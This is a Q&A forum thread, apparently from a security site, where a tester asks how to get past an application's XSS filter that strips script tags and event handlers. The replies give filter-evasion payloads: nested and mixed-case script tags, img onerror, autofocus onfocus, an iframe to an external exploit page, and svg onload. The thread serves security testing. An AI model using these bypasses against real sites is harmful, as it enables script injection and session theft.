0

If we write test ">script>alert(1)/script>, application is filtering the JavaScript with test">[removed]alert(1)[removed].

And payloads like onmouseover,onmouseout are skipping.

In this case what kind of JavaScript bypass can be used for performing XSS.

  • Try <img src="x" onerror="alert(1)"> or <input onfocus="alert(1)" autofocus> – paj28 Feb 15 '16 at 13:20
  • all event handlers are blacklisted. I tried writing case insensitive also but that is also skipping. Any other event handler? – Niharika Sharma Feb 16 '16 at 6:13
  • Have you seen the cheat sheet? – paj28 Feb 17 '16 at 10:52
1

I think you can try with the following options:

<scr<script>ipt>alert(1)</scr</script>ipt>
<ScRiPt>alert(1)</ScRiPt>

Also you can use another HTML tags:

<img src="javascript:alert(1)">
<h1 onclick="alert(1)">Click me</h1>

I recommend you the following link, you could find useful samples.

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

I hope this information helps you.

Good luck.

  • Application is skipping onclick. This is coming like this <h1 >Click me</h1>. h1 tag is working fine. – Niharika Sharma Feb 16 '16 at 5:15
  • 1. The first 2 payloads are not working, application is changing it to this : <scr[removed]ipt>alert(1)</scr[removed]ipt> 2. Application is skipping onclick and all these kind of event handlers. The payload is coming like this <h1 >Click me</h1>. h1 tag is working fine no encoding, but application is skippling javascript event handlers. – Niharika Sharma Feb 16 '16 at 5:33
  • Then you can try to add an iframe, something like this: '<iframe src="domain/exploit.html"></iframe>'. You can do a HTML page with your exploit. Another option is an image tag, something like this: '<img src="domain/myscript.js" />. The image tag just get the resource, it doesn't validate if the resource is a valid image. – hmrojas.p Feb 16 '16 at 16:21
1

A bit late, but today I came across a website that filters in the exact same way. I managed to bypass it like this:

<svg/onload=alert(1);

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.